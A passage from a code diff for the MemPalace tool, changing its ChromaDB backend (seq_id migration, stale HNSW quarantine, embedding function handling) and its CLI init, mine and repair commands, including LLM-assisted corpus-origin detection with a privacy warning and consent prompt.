|
||||
"SELECT rowid, seq_id FROM embeddings WHERE typeof(seq_id) = 'blob'"
|
||||
).fetchall()
|
||||
except sqlite3.OperationalError:
|
||||
return
|
||||
safe_rows = [(rowid, blob) for rowid, blob in rows if not blob.startswith(b"\x11\x11")]
|
||||
skipped = len(rows) - len(safe_rows)
|
||||
if skipped:
|
||||
logger.warning(
|
||||
"Skipped %d sysdb-10-format BLOB seq_id(s) in embeddings (not converting)",
|
||||
skipped,
|
||||
)
|
||||
if safe_rows:
|
||||
updates = [
|
||||
(int.from_bytes(blob, byteorder="big"), rowid) for rowid, blob in safe_rows
|
||||
]
|
||||
conn.executemany("UPDATE embeddings SET seq_id = ? WHERE rowid = ?", updates)
|
||||
logger.info("Fixed %d BLOB seq_ids in embeddings", len(updates))
|
||||
conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Could not fix BLOB seq_ids in %s", db_path)
|
||||
return
|
||||
# Write marker whether or not rows needed migration — the palace is now
|
||||
# confirmed to be in the INTEGER-seq_id state and future opens can skip the
|
||||
# sqlite3.connect() entirely.
|
||||
try:
|
||||
Path(marker).touch()
|
||||
except OSError:
|
||||
logger.exception("Could not write migration marker %s", marker)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
@@ -369,6 +868,18 @@ class ChromaCollection(BaseCollection):
|
||||
def count(self):
|
||||
return self._collection.count()
|
||||
|
||||
@property
|
||||
def metadata(self) -> dict:
|
||||
"""Pass-through to the underlying ChromaDB collection's metadata.
|
||||
|
||||
Used by the searcher to detect legacy palaces that were created
|
||||
without ``hnsw:space=cosine`` and therefore silently use L2
|
||||
distance, which breaks cosine-based similarity interpretation.
|
||||
Returns ``{}`` when metadata is absent so callers can do a plain
|
||||
``.get("hnsw:space")`` without None-checks.
|
||||
"""
|
||||
return self._collection.metadata or {}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Backend
|
||||
@@ -406,6 +917,23 @@ class ChromaBackend(BaseBackend):
|
||||
self._freshness: dict[str, tuple[int, float]] = {}
|
||||
self._closed = False
|
||||
|
||||
@staticmethod
|
||||
def _resolve_embedding_function():
|
||||
"""Return the EF for the user's ``embedding_device`` setting.
|
||||
|
||||
Both ``get_collection`` and ``get_or_create_collection`` must receive
|
||||
the EF explicitly — ChromaDB 1.x does not persist it with the
|
||||
collection, so a reader that omits the argument silently gets the
|
||||
library default and its queries won't match the writer's vectors.
|
||||
"""
|
||||
try:
|
||||
from ..embedding import get_embedding_function
|
||||
|
||||
return get_embedding_function()
|
||||
except Exception:
|
||||
logger.exception("Failed to build embedding function; using chromadb default")
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal helpers
|
||||
# ------------------------------------------------------------------
|
||||
@@ -478,6 +1006,28 @@ class ChromaBackend(BaseBackend):
|
||||
# Public static helpers (legacy; prefer :meth:`get_collection`)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
# Per-process record of palaces that have already had quarantine_stale_hnsw
|
||||
# invoked at least once. The proactive drift check is a *cold-start*
|
||||
# protection — it catches HNSW segments that arrived stale relative to
|
||||
# ``chroma.sqlite3`` (e.g. cross-machine replication, partial restore,
|
||||
# crashed-mid-write). Once a long-running process has opened the palace
|
||||
# cleanly, re-firing on every reconnect is a *runtime thrash*: the
|
||||
# daemon's own writes bump sqlite mtime but HNSW flushes batch on
|
||||
# chromadb's internal cadence, so the mtime gap naturally exceeds the
|
||||
# threshold under steady write load even though nothing is corrupt.
|
||||
# Real runtime drift is still handled — palace-daemon's ``_auto_repair``
|
||||
# calls :func:`quarantine_stale_hnsw` directly on observed HNSW errors,
|
||||
# which bypasses this gate.
|
||||
#
|
||||
# Thread-safety: this set is mutated without a lock. Two concurrent
|
||||
# ``make_client()`` calls for the same palace can both pass the
|
||||
# membership check and both invoke ``quarantine_stale_hnsw``. That's
|
||||
# safe because the function is idempotent (mtime check + timestamped
|
||||
# rename of distinct directories), so the worst-case race produces
|
||||
# one redundant rename attempt that no-ops. Idempotency is the
|
||||
# safety property; locking would add cost without correctness gain.
|
||||
_quarantined_paths: set[str] = set()
|
||||
|
||||
@staticmethod
|
||||
def make_client(palace_path: str):
|
||||
"""Create a fresh ``PersistentClient`` (fixes BLOB seq_ids first).
|
||||
@@ -485,8 +1035,15 @@ class ChromaBackend(BaseBackend):
|
||||
Deprecated-ish: exposed for legacy long-lived callers that manage their
|
||||
own client cache. New code should obtain a collection through
|
||||
:meth:`get_collection` which manages caching internally.
|
||||
|
||||
Quarantines stale HNSW segments **once per palace per process**. See
|
||||
:attr:`_quarantined_paths` for the rationale (cold-start protection
|
||||
vs. runtime thrash on steady-write daemons).
|
||||
"""
|
||||
_fix_blob_seq_ids(palace_path)
|
||||
if palace_path not in ChromaBackend._quarantined_paths:
|
||||
quarantine_stale_hnsw(palace_path)
|
||||
ChromaBackend._quarantined_paths.add(palace_path)
|
||||
return chromadb.PersistentClient(path=palace_path)
|
||||
|
||||
@staticmethod
|
||||
@@ -533,12 +1090,25 @@ class ChromaBackend(BaseBackend):
|
||||
if options and isinstance(options, dict):
|
||||
hnsw_space = options.get("hnsw_space", hnsw_space)
|
||||
|
||||
ef = self._resolve_embedding_function()
|
||||
ef_kwargs = {"embedding_function": ef} if ef is not None else {}
|
||||
|
||||
if create:
|
||||
collection = client.get_or_create_collection(
|
||||
collection_name, metadata={"hnsw:space": hnsw_space}
|
||||
)
|
||||
try:
|
||||
collection = client.get_collection(collection_name, **ef_kwargs)
|
||||
except _ChromaNotFoundError:
|
||||
collection = client.create_collection(
|
||||
collection_name,
|
||||
metadata={
|
||||
"hnsw:space": hnsw_space,
|
||||
"hnsw:num_threads": 1,
|
||||
**_HNSW_BLOAT_GUARD,
|
||||
},
|
||||
**ef_kwargs,
|
||||
)
|
||||
else:
|
||||
collection = client.get_collection(collection_name)
|
||||
collection = client.get_collection(collection_name, **ef_kwargs)
|
||||
_pin_hnsw_threads(collection)
|
||||
return ChromaCollection(collection)
|
||||
|
||||
def close_palace(self, palace) -> None:
|
||||
@@ -579,8 +1149,16 @@ class ChromaBackend(BaseBackend):
|
||||
self, palace_path: str, collection_name: str, hnsw_space: str = "cosine"
|
||||
) -> ChromaCollection:
|
||||
"""Create (not get-or-create) ``collection_name`` with the given HNSW space."""
|
||||
ef = self._resolve_embedding_function()
|
||||
ef_kwargs = {"embedding_function": ef} if ef is not None else {}
|
||||
collection = self._client(palace_path).create_collection(
|
||||
collection_name, metadata={"hnsw:space": hnsw_space}
|
||||
collection_name,
|
||||
metadata={
|
||||
"hnsw:space": hnsw_space,
|
||||
"hnsw:num_threads": 1,
|
||||
**_HNSW_BLOAT_GUARD,
|
||||
},
|
||||
**ef_kwargs,
|
||||
)
|
||||
return ChromaCollection(collection)
|
||||
|
||||
|
||||
+569
-22
@@ -34,11 +34,168 @@ import argparse
|
||||
from pathlib import Path
|
||||
|
||||
from .config import MempalaceConfig
|
||||
from .corpus_origin import detect_origin_heuristic, detect_origin_llm
|
||||
from .llm_client import LLMError, get_provider
|
||||
from .version import __version__
|
||||
|
||||
|
||||
_MEMPALACE_PROJECT_FILES = ("mempalace.yaml", "entities.json")
|
||||
|
||||
# Pass 0 corpus-origin sampling caps. Tier 1 reads FULL file content (no
|
||||
# front-bias sampling) but bounds total memory on enormous corpora. Tier 2
|
||||
# trims to a smaller view because LLM context windows are finite.
|
||||
_PASS_ZERO_MAX_FILES = 30
|
||||
_PASS_ZERO_PER_FILE_CAP = 100_000 # 100KB per file is generous for prose
|
||||
_PASS_ZERO_TOTAL_CAP = 5_000_000 # 5MB total ceiling — bounds memory
|
||||
_PASS_ZERO_LLM_PER_SAMPLE = 2_000 # for Tier 2 LLM call only
|
||||
_PASS_ZERO_LLM_MAX_SAMPLES = 20 # caps the LLM-tier sample count
|
||||
|
||||
|
||||
def _gather_origin_samples(project_dir) -> list:
|
||||
"""Collect Tier-1 samples for corpus-origin detection.
|
||||
|
||||
Reads FULL file content (capped at ``_PASS_ZERO_PER_FILE_CAP`` per file
|
||||
and ``_PASS_ZERO_TOTAL_CAP`` overall). No front-bias sampling — AI
|
||||
signal that lives past the first N chars of a file must still trip
|
||||
detection, so we read the whole file up to the cap.
|
||||
|
||||
Skips mempalace's own per-project artifacts (``entities.json``,
|
||||
``mempalace.yaml``) so a re-run of ``mempalace init`` produces the
|
||||
same classification result it did on the first run. Without this
|
||||
filter, the first run writes entities.json into the corpus, the
|
||||
second run picks it up as a sample, and the Tier-1 density math
|
||||
drifts (different total_chars). That makes init non-idempotent.
|
||||
|
||||
Returns a list of strings (one per readable file). Empty list when
|
||||
the project has no readable text.
|
||||
"""
|
||||
from .entity_detector import scan_for_detection
|
||||
|
||||
files = scan_for_detection(project_dir, max_files=_PASS_ZERO_MAX_FILES)
|
||||
samples: list = []
|
||||
total_chars = 0
|
||||
for filepath in files:
|
||||
if filepath.name in _MEMPALACE_PROJECT_FILES:
|
||||
continue
|
||||
if total_chars >= _PASS_ZERO_TOTAL_CAP:
|
||||
break
|
||||
try:
|
||||
with open(filepath, encoding="utf-8", errors="replace") as f:
|
||||
content = f.read(_PASS_ZERO_PER_FILE_CAP)
|
||||
except OSError:
|
||||
continue
|
||||
if not content:
|
||||
continue
|
||||
samples.append(content)
|
||||
total_chars += len(content)
|
||||
return samples
|
||||
|
||||
|
||||
def _trim_samples_for_llm(samples: list) -> list:
|
||||
"""Reduce Tier-1 full-content samples to LLM-friendly size.
|
||||
|
||||
Tier 2 hits an LLM with a finite context window — we trim each sample
|
||||
to ``_PASS_ZERO_LLM_PER_SAMPLE`` chars and cap the overall sample
|
||||
count at ``_PASS_ZERO_LLM_MAX_SAMPLES``.
|
||||
"""
|
||||
return [s[:_PASS_ZERO_LLM_PER_SAMPLE] for s in samples[:_PASS_ZERO_LLM_MAX_SAMPLES]]
|
||||
|
||||
|
||||
def _run_pass_zero(project_dir, palace_dir, llm_provider) -> dict:
|
||||
"""Pass 0: detect whether the corpus is AI-dialogue and persist the
|
||||
result to ``<palace>/.mempalace/origin.json``.
|
||||
|
||||
Returns the wrapped result dict (same shape as origin.json) on success,
|
||||
or ``None`` when there are no readable samples to detect from. The
|
||||
return value is what cmd_init forwards to ``discover_entities`` via
|
||||
the ``corpus_origin`` kwarg.
|
||||
|
||||
File-write failures (e.g. read-only palace) are caught and reported on
|
||||
stderr; init never blocks on them.
|
||||
"""
|
||||
import json
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
samples = _gather_origin_samples(project_dir)
|
||||
if not samples:
|
||||
print(" Skipping corpus-origin detection — no readable samples.")
|
||||
return None
|
||||
|
||||
# Tier 1 — always runs. Cheap regex grep, no API.
|
||||
result = detect_origin_heuristic(samples)
|
||||
|
||||
# Tier 2 — runs only when an LLM provider is available. The provider
|
||||
# contract is best-effort: corpus_origin internally falls back to a
|
||||
# conservative default on transport/parse failure, so we don't need a
|
||||
# try/except here, but we still keep one for any unforeseen exception.
|
||||
#
|
||||
# MERGE-FIELDS, NOT REPLACE: Tier 2's persona/user/platform extraction
|
||||
# is the whole reason to run it, but a weak local model (e.g. Ollama
|
||||
# gemma4:e4b) can return a wrong likely_ai_dialogue/confidence call
|
||||
# that overrides a confident heuristic answer. Per @igorls's review of
|
||||
# PR #1211: keep the heuristic's likely_ai_dialogue + confidence
|
||||
# (don't let a weak LLM flip a confident regex answer), and merge in
|
||||
# LLM's persona-related fields + combined evidence.
|
||||
if llm_provider is not None:
|
||||
try:
|
||||
llm_result = detect_origin_llm(_trim_samples_for_llm(samples), llm_provider)
|
||||
# Heuristic owns: likely_ai_dialogue, confidence (do NOT touch).
|
||||
# LLM contributes: primary_platform, user_name, agent_persona_names
|
||||
# (heuristic doesn't extract any of these).
|
||||
if llm_result.primary_platform:
|
||||
result.primary_platform = llm_result.primary_platform
|
||||
if llm_result.user_name:
|
||||
result.user_name = llm_result.user_name
|
||||
if llm_result.agent_persona_names:
|
||||
result.agent_persona_names = list(llm_result.agent_persona_names)
|
||||
# Combine evidence — keep both signal trails for the audit record,
|
||||
# prefixed so the on-disk origin.json says which tier produced
|
||||
# each entry. Idempotent: re-prefixing an already-tagged entry
|
||||
# is a no-op.
|
||||
tier1_prefix = "Tier-1 heuristic: "
|
||||
tier2_prefix = "Tier-2 LLM: "
|
||||
heuristic_evidence = [
|
||||
s if s.startswith(tier1_prefix) else f"{tier1_prefix}{s}"
|
||||
for s in (str(e) for e in result.evidence)
|
||||
]
|
||||
llm_evidence = [
|
||||
s if s.startswith(tier2_prefix) else f"{tier2_prefix}{s}"
|
||||
for s in (str(e) for e in llm_result.evidence)
|
||||
]
|
||||
result.evidence = heuristic_evidence + llm_evidence
|
||||
except Exception as exc: # noqa: BLE001 — never block init on LLM failure
|
||||
print(f" LLM corpus-origin tier failed ({exc}); using heuristic only.")
|
||||
|
||||
wrapped = {
|
||||
"schema_version": 1,
|
||||
"detected_at": datetime.now(timezone.utc).isoformat(),
|
||||
"result": result.to_dict(),
|
||||
}
|
||||
|
||||
origin_path = Path(palace_dir).expanduser() / ".mempalace" / "origin.json"
|
||||
try:
|
||||
origin_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(origin_path, "w", encoding="utf-8") as f:
|
||||
json.dump(wrapped, f, indent=2, ensure_ascii=False)
|
||||
except OSError as exc:
|
||||
print(f" Could not write {origin_path}: {exc}", file=sys.stderr)
|
||||
# Return the wrapped dict anyway so the in-memory pipeline still
|
||||
# benefits from the detection result this run.
|
||||
return wrapped
|
||||
|
||||
# Banner — one line, two-space indent matching existing init style.
|
||||
res = result
|
||||
if res.likely_ai_dialogue:
|
||||
platform = res.primary_platform or "AI dialogue (platform unidentified)"
|
||||
user = res.user_name or "—"
|
||||
agents = ", ".join(res.agent_persona_names) if res.agent_persona_names else "—"
|
||||
print(f" Detected: {platform} (user: {user}, agents: {agents})")
|
||||
else:
|
||||
print(f" Corpus origin: not AI-dialogue (confidence: {res.confidence:.2f})")
|
||||
|
||||
return wrapped
|
||||
|
||||
|
||||
def _ensure_mempalace_files_gitignored(project_dir) -> bool:
|
||||
"""If project_dir is a git repo, ensure MemPalace's per-project files
|
||||
@@ -71,7 +228,8 @@ def _ensure_mempalace_files_gitignored(project_dir) -> bool:
|
||||
def cmd_init(args):
|
||||
import json
|
||||
from pathlib import Path
|
||||
from .entity_detector import scan_for_detection, detect_entities, confirm_entities
|
||||
from .entity_detector import confirm_entities
|
||||
from .project_scanner import discover_entities
|
||||
from .room_detector_local import detect_rooms_local
|
||||
|
||||
cfg = MempalaceConfig()
|
||||
@@ -85,25 +243,131 @@ def cmd_init(args):
|
||||
languages = cfg.entity_languages
|
||||
languages_tuple = tuple(languages)
|
||||
|
||||
# Pass 1: auto-detect people and projects from file content
|
||||
# --llm is ON by default. --no-llm is the explicit opt-out. Provider
|
||||
# precedence is unchanged (Ollama localhost first, then openai-compat,
|
||||
# then anthropic). Never block init on a missing LLM: when no provider
|
||||
# responds, print a one-line message pointing at --no-llm and fall
|
||||
# through to heuristics-only.
|
||||
llm_provider = None
|
||||
if not getattr(args, "no_llm", False):
|
||||
provider_name = getattr(args, "llm_provider", "ollama") or "ollama"
|
||||
provider_model = getattr(args, "llm_model", "gemma4:e4b") or "gemma4:e4b"
|
||||
try:
|
||||
candidate = get_provider(
|
||||
name=provider_name,
|
||||
model=provider_model,
|
||||
endpoint=getattr(args, "llm_endpoint", None),
|
||||
api_key=getattr(args, "llm_api_key", None),
|
||||
)
|
||||
ok, msg = candidate.check_available()
|
||||
if ok:
|
||||
llm_provider = candidate
|
||||
print(f" LLM enabled: {provider_name}/{provider_model}")
|
||||
# Privacy warning (issue #24): if the configured endpoint
|
||||
# sends data off the user's machine/network, surface that
|
||||
# before init proceeds. URL-based — Ollama on localhost,
|
||||
# LM Studio on LAN, etc. won't trigger; Anthropic /
|
||||
# cloud OpenAI-compat / any non-local endpoint will.
|
||||
if candidate.is_external_service:
|
||||
print(
|
||||
f" ⚠ {provider_name} is an EXTERNAL API. Your folder "
|
||||
f"content will be sent to the provider during init. "
|
||||
f"MemPalace does not control how the provider logs, "
|
||||
f"retains, or uses your data. Pass --no-llm to keep "
|
||||
f"init fully local."
|
||||
)
|
||||
# Consent gate (issue #26): block init when the api_key
|
||||
# was acquired via env-fallback (stray credential in
|
||||
# shell env). Explicit --llm-api-key (api_key_source ==
|
||||
# "flag") means the user already opted in.
|
||||
# --accept-external-llm bypasses for CI / non-interactive.
|
||||
api_key_source = getattr(candidate, "api_key_source", None)
|
||||
accept_flag = getattr(args, "accept_external_llm", False)
|
||||
if api_key_source == "env" and not accept_flag:
|
||||
try:
|
||||
answer = (
|
||||
input(
|
||||
" Your API key was loaded from the environment "
|
||||
"(not passed via --llm-api-key). Continue with "
|
||||
"external LLM? [y/N] "
|
||||
)
|
||||
.strip()
|
||||
.lower()
|
||||
)
|
||||
except EOFError:
|
||||
answer = ""
|
||||
if answer != "y":
|
||||
print(
|
||||
" Declined — falling back to heuristics-only. "
|
||||
"Pass --llm-api-key explicitly or "
|
||||
"--accept-external-llm to skip this prompt."
|
||||
)
|
||||
llm_provider = None
|
||||
else:
|
||||
print(
|
||||
f" No LLM provider reachable ({msg}). "
|
||||
f"Running heuristics-only — pass --no-llm to silence this."
|
||||
)
|
||||
except LLMError as e:
|
||||
print(
|
||||
f" LLM init failed ({e}). "
|
||||
f"Running heuristics-only — pass --no-llm to silence this."
|
||||
)
|
||||
|
||||
# Pass 0: detect whether the corpus is AI-dialogue. Writes
|
||||
# <palace>/.mempalace/origin.json and supplies corpus context to the
|
||||
# entity classifier so it can correctly handle agent persona names
|
||||
# (e.g. "Echo", "Sparrow") without misclassifying them as people.
|
||||
corpus_origin = _run_pass_zero(
|
||||
project_dir=args.dir,
|
||||
palace_dir=cfg.palace_path,
|
||||
llm_provider=llm_provider,
|
||||
)
|
||||
|
||||
# Pass 1: discover entities — manifests + git authors first, prose detection
|
||||
# as supplement for names mentioned only in docs/notes. Optional phase-2
|
||||
# LLM refinement runs inside discover_entities when llm_provider is given.
|
||||
print(f"\n Scanning for entities in: {args.dir}")
|
||||
if languages_tuple != ("en",):
|
||||
print(f" Languages: {', '.join(languages_tuple)}")
|
||||
files = scan_for_detection(args.dir)
|
||||
if files:
|
||||
print(f" Reading {len(files)} files...")
|
||||
detected = detect_entities(files, languages=languages_tuple)
|
||||
total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"])
|
||||
if total > 0:
|
||||
confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
|
||||
# Save confirmed entities to <project>/entities.json for the miner
|
||||
if confirmed["people"] or confirmed["projects"]:
|
||||
entities_path = Path(args.dir).expanduser().resolve() / "entities.json"
|
||||
with open(entities_path, "w") as f:
|
||||
json.dump(confirmed, f, indent=2)
|
||||
print(f" Entities saved: {entities_path}")
|
||||
else:
|
||||
print(" No entities detected — proceeding with directory-based rooms.")
|
||||
detected = discover_entities(
|
||||
args.dir,
|
||||
languages=languages_tuple,
|
||||
llm_provider=llm_provider,
|
||||
corpus_origin=corpus_origin,
|
||||
)
|
||||
total = (
|
||||
len(detected["people"])
|
||||
+ len(detected["projects"])
|
||||
+ len(detected.get("topics", []))
|
||||
+ len(detected["uncertain"])
|
||||
)
|
||||
if total > 0:
|
||||
confirmed = confirm_entities(detected, yes=getattr(args, "yes", False))
|
||||
# Save confirmed entities to <project>/entities.json (per-project
|
||||
# audit trail — user can inspect or hand-edit) AND merge into the
|
||||
# global registry the miner reads at mine time. Topics are kept
|
||||
# separately so the miner can later compute cross-wing tunnels
|
||||
# from shared topics (see palace_graph.compute_topic_tunnels).
|
||||
if confirmed["people"] or confirmed["projects"] or confirmed.get("topics"):
|
||||
project_path = Path(args.dir).expanduser().resolve()
|
||||
entities_path = project_path / "entities.json"
|
||||
with open(entities_path, "w", encoding="utf-8") as f:
|
||||
json.dump(confirmed, f, indent=2, ensure_ascii=False)
|
||||
print(f" Entities saved: {entities_path}")
|
||||
|
||||
from .config import normalize_wing_name
|
||||
from .miner import add_to_known_entities
|
||||
|
||||
# Match the slug ``room_detector_local`` writes into
|
||||
# ``mempalace.yaml`` so the miner's tunnel lookup hits the
|
||||
# same key in ``topics_by_wing`` at mine time (issue #1194 —
|
||||
# without this, hyphenated dirnames silently lose tunnels).
|
||||
wing = normalize_wing_name(project_path.name)
|
||||
registry_path = add_to_known_entities(confirmed, wing=wing)
|
||||
print(f" Registry updated: {registry_path}")
|
||||
else:
|
||||
print(" No entities detected — proceeding with directory-based rooms.")
|
||||
|
||||
# Pass 2: detect rooms from folder structure
|
||||
detect_rooms_local(project_dir=args.dir, yes=getattr(args, "yes", False))
|
||||
@@ -112,6 +376,107 @@ def cmd_init(args):
|
||||
# Pass 3: protect git repos from accidentally committing per-project files
|
||||
_ensure_mempalace_files_gitignored(args.dir)
|
||||
|
||||
# Pass 4: offer to run mine immediately. The directory just had its
|
||||
# rooms + entities set up, so 99% of users will mine next anyway —
|
||||
# asking here removes the "remember to type the next command" friction.
|
||||
# `--auto-mine` skips the prompt and mines automatically; `--yes` is
|
||||
# SCOPED to entity auto-accept and does NOT imply mining.
|
||||
_maybe_run_mine_after_init(args, cfg)
|
||||
|
||||
|
||||
def _format_size_mb(num_bytes: int) -> str:
|
||||
"""Render a byte count as a human-readable size for the mine estimate.
|
||||
|
||||
< 1 MB rounds up to ``<1 MB`` so users never see a misleading ``0 MB``
|
||||
on small projects. Otherwise reports an integer megabyte count.
|
||||
"""
|
||||
if num_bytes <= 0:
|
||||
return "<1 MB"
|
||||
mb = num_bytes / (1024 * 1024)
|
||||
if mb < 1:
|
||||
return "<1 MB"
|
||||
return f"{mb:.0f} MB"
|
||||
|
||||
|
||||
def _maybe_run_mine_after_init(args, cfg) -> None:
|
||||
"""Prompt the user to mine the directory just initialised, or auto-mine
|
||||
when ``--auto-mine`` was passed. Extracted so the prompt path is
|
||||
unit-testable.
|
||||
|
||||
Behaviour matrix:
|
||||
|
||||
- default (no flags) — prompt, default Yes, mine in-process if accepted
|
||||
- ``--yes`` — entity auto-accept only; STILL prompts for the mine step
|
||||
- ``--auto-mine`` — skip the mine prompt and mine directly
|
||||
- ``--yes --auto-mine`` — fully non-interactive
|
||||
|
||||
Mine errors are surfaced (not swallowed): a failing mine exits with a
|
||||
non-zero status via :func:`sys.exit` so downstream scripts can see it.
|
||||
The pre-scan that produces the file-count estimate is reused as the
|
||||
mine input so we never walk the corpus twice.
|
||||
"""
|
||||
from .miner import mine, scan_project
|
||||
|
||||
project_dir = args.dir
|
||||
auto_mine = bool(getattr(args, "auto_mine", False))
|
||||
|
||||
# Single corpus walk: this scan feeds BOTH the "what would be mined"
|
||||
# estimate the user sees in the prompt AND the file list mine() will
|
||||
# process. We pass the result into mine() via the `files` kwarg so it
|
||||
# doesn't re-walk the tree.
|
||||
try:
|
||||
scanned_files = scan_project(project_dir)
|
||||
file_count = len(scanned_files)
|
||||
total_bytes = 0
|
||||
for fp in scanned_files:
|
||||
try:
|
||||
total_bytes += fp.stat().st_size
|
||||
except OSError:
|
||||
# Skip files that vanished between scan and stat — mine()
|
||||
# will skip them too.
|
||||
continue
|
||||
size_str = _format_size_mb(total_bytes)
|
||||
except Exception:
|
||||
scanned_files = None
|
||||
file_count = None
|
||||
size_str = None
|
||||
|
||||
# Show the scope estimate BEFORE the prompt so the user knows what
|
||||
# they are agreeing to. On a real corpus mine takes minutes; hitting
|
||||
# Enter on a default-Y prompt with no size cue is a footgun.
|
||||
if isinstance(file_count, int):
|
||||
if size_str:
|
||||
print(f" ~{file_count} files (~{size_str}) would be mined into this palace.\n")
|
||||
else:
|
||||
print(f" ~{file_count} files would be mined into this palace.\n")
|
||||
|
||||
if not auto_mine:
|
||||
try:
|
||||
answer = input(" Mine this directory now? [Y/n] ").strip().lower()
|
||||
except EOFError:
|
||||
# Non-interactive stdin (e.g. piped) — treat like decline so
|
||||
# we don't block. User can re-run with --auto-mine to opt in.
|
||||
answer = "n"
|
||||
if answer not in ("", "y", "yes"):
|
||||
print(f"\n Skipped. Run `mempalace mine {shlex.quote(project_dir)}` when ready.")
|
||||
return
|
||||
|
||||
palace_path = cfg.palace_path
|
||||
try:
|
||||
mine(
|
||||
project_dir=project_dir,
|
||||
palace_path=palace_path,
|
||||
files=scanned_files,
|
||||
)
|
||||
except KeyboardInterrupt:
|
||||
# mine() handles its own SIGINT summary + sys.exit(130); re-raise
|
||||
# any KeyboardInterrupt that escapes (shouldn't happen) so the
|
||||
# shell still sees a clean interrupt rather than a swallowed one.
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"\n ERROR: mine failed: {e}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def cmd_mine(args):
|
||||
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
|
||||
@@ -119,6 +484,16 @@ def cmd_mine(args):
|
||||
for raw in args.include_ignored or []:
|
||||
include_ignored.extend(part.strip() for part in raw.split(",") if part.strip())
|
||||
|
||||
# --redetect-origin re-runs corpus_origin on the current corpus state
|
||||
# and overwrites <palace>/.mempalace/origin.json before mining proceeds.
|
||||
# Heuristic-only by design — full LLM detection lives on `mempalace init`.
|
||||
if getattr(args, "redetect_origin", False):
|
||||
_run_pass_zero(
|
||||
project_dir=args.dir,
|
||||
palace_dir=palace_path,
|
||||
llm_provider=None,
|
||||
)
|
||||
|
||||
if args.mode == "convos":
|
||||
from .convo_miner import mine_convos
|
||||
|
||||
@@ -260,15 +635,38 @@ def cmd_status(args):
|
||||
status(palace_path=palace_path)
|
||||
|
||||
|
||||
def cmd_repair_status(args):
|
||||
"""Read-only HNSW capacity health check (#1222)."""
|
||||
from .repair import status as repair_status
|
||||
|
||||
palace_path = os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
|
||||
repair_status(palace_path=palace_path)
|
||||
|
||||
|
||||
def cmd_repair(args):
|
||||
"""Rebuild palace vector index from SQLite metadata."""
|
||||
import shutil
|
||||
from .backends.chroma import ChromaBackend
|
||||
from .migrate import confirm_destructive_action, contains_palace_database
|
||||
from .repair import TruncationDetected, check_extraction_safety
|
||||
|
||||
palace_path = os.path.abspath(
|
||||
os.path.expanduser(args.palace) if args.palace else MempalaceConfig().palace_path
|
||||
)
|
||||
|
||||
if getattr(args, "mode", "legacy") == "max-seq-id":
|
||||
from .repair import repair_max_seq_id
|
||||
|
||||
repair_max_seq_id(
|
||||
palace_path,
|
||||
segment=getattr(args, "segment", None),
|
||||
from_sidecar=getattr(args, "from_sidecar", None),
|
||||
backup=getattr(args, "backup", True),
|
||||
dry_run=getattr(args, "dry_run", False),
|
||||
assume_yes=getattr(args, "yes", False),
|
||||
)
|
||||
return
|
||||
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
|
||||
if not os.path.isdir(palace_path):
|
||||
@@ -313,12 +711,31 @@ def cmd_repair(args):
|
||||
offset = 0
|
||||
while offset < total:
|
||||
batch = col.get(limit=batch_size, offset=offset, include=["documents", "metadatas"])
|
||||
if not batch["ids"]:
|
||||
break
|
||||
all_ids.extend(batch["ids"])
|
||||
all_docs.extend(batch["documents"])
|
||||
all_metas.extend(batch["metadatas"])
|
||||
offset += batch_size
|
||||
offset += len(batch["ids"])
|
||||
print(f" Extracted {len(all_ids)} drawers")
|
||||
|
||||
# ── #1208 guard ──────────────────────────────────────────────────
|
||||
# Cross-check against the SQLite ground truth before doing anything
|
||||
# destructive. Catches the user-reported case where chromadb's
|
||||
# collection-layer get() silently caps at 10,000 rows even on much
|
||||
# larger palaces (e.g. after manual HNSW quarantine). Override with
|
||||
# --confirm-truncation-ok only after independently verifying the
|
||||
# extraction count is real.
|
||||
try:
|
||||
check_extraction_safety(
|
||||
palace_path,
|
||||
len(all_ids),
|
||||
confirm_truncation_ok=getattr(args, "confirm_truncation_ok", False),
|
||||
)
|
||||
except TruncationDetected as e:
|
||||
print(e.message)
|
||||
return
|
||||
|
||||
# Backup and rebuild
|
||||
palace_path = os.path.normpath(palace_path)
|
||||
backup_path = palace_path + ".backup"
|
||||
@@ -367,7 +784,7 @@ def cmd_instructions(args):
|
||||
|
||||
def cmd_mcp(args):
|
||||
"""Show how to wire MemPalace into MCP-capable hosts."""
|
||||
base_server_cmd = "python -m mempalace.mcp_server"
|
||||
base_server_cmd = "mempalace-mcp"
|
||||
|
||||
if args.palace:
|
||||
resolved_palace = str(Path(args.palace).expanduser())
|
||||
@@ -541,6 +958,14 @@ def main():
|
||||
action="store_true",
|
||||
help="Auto-accept all detected entities (non-interactive)",
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--auto-mine",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Skip the post-init mine prompt and run mine automatically. "
|
||||
"Combine with --yes for a fully non-interactive setup."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--lang",
|
||||
default=None,
|
||||
@@ -551,6 +976,61 @@ def main():
|
||||
"When given, the value is also persisted to config.json."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--llm",
|
||||
action="store_true",
|
||||
help=(
|
||||
"DEPRECATED — LLM-assisted entity refinement is now ON by default. "
|
||||
"This flag is preserved for backward compatibility; pass --no-llm "
|
||||
"to opt out instead."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--no-llm",
|
||||
action="store_true",
|
||||
help=(
|
||||
"Disable LLM-assisted entity refinement. Run init in heuristics-only "
|
||||
"mode (no provider acquisition, no LLM calls). Use when running "
|
||||
"without a local LLM and you don't want the graceful-fallback message."
|
||||
),
|
||||
)
|
||||
p_init.add_argument(
|
||||
"--llm-provider",
|
||||
default="ollama",
|
||||
choices=["ollama", "openai-compat", "anthropic"],
|
||||
